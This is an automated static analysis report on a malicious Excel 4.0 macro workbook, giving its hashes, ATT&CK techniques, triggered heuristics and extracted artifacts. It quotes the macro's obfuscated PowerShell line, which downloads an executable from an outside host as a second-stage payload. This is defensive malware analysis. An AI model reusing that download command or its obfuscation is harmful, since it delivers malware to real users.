Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 df77c8a503bcaf58…

MALICIOUS

Office (OLE) / .XLS

160.5 KB Created: 2020-11-20 17:59:00 Authoring application: Microsoft Excel
MD5: 5a9a7bb0076a4972386d264fbb302cfc SHA-1: 5f4ec4d4dc8eeb3388e86ef47a8de58532ba0ebd SHA-256: df77c8a503bcaf58441a7de08ed5c3d547f60c363d2cd94e2dce473d0ae9e87d
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 PowerShell T1059.001 PowerShell T1204.002 Malicious File

The critical heuristics OLE_XLM_AUTOOPEN and OLE_XLM_DANGEROUS_FN indicate the presence of an Excel 4.0 macro designed to execute code. The XLM macro explicitly constructs and executes a PowerShell command: 'powershell -w 1 (nEw-oB`jecT Net.WebcL`IENt).('Do"'+'loadFile').In"'+'oke('"'+'http://karci-dxy.icu/pasorder/HSYHP00RD0379_REVISED.exe','98"'+'exe')'. This command downloads a file from the specified URL and saves it as '98.exe' in the user's AppData directory, likely to execute a second-stage payload.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • VBA project contains no executable statements low OLE_VBA_MACROS
    Document contains a VBA project, but extracted modules only contain attributes/options/comments and no executable statements.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
8f7ca46099bb3695f733aedd5a9f4e8a6c61086b0d8e07d2b0042b1db9250015
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 2162 bytes
macros.bas
fed365d3401536fb63e11d0a36cc7c35338c0a8c74a96fb254c46366ad6287cd
vba-macro oletools.olevba.extract_macros (decoded VBA source) 642 bytes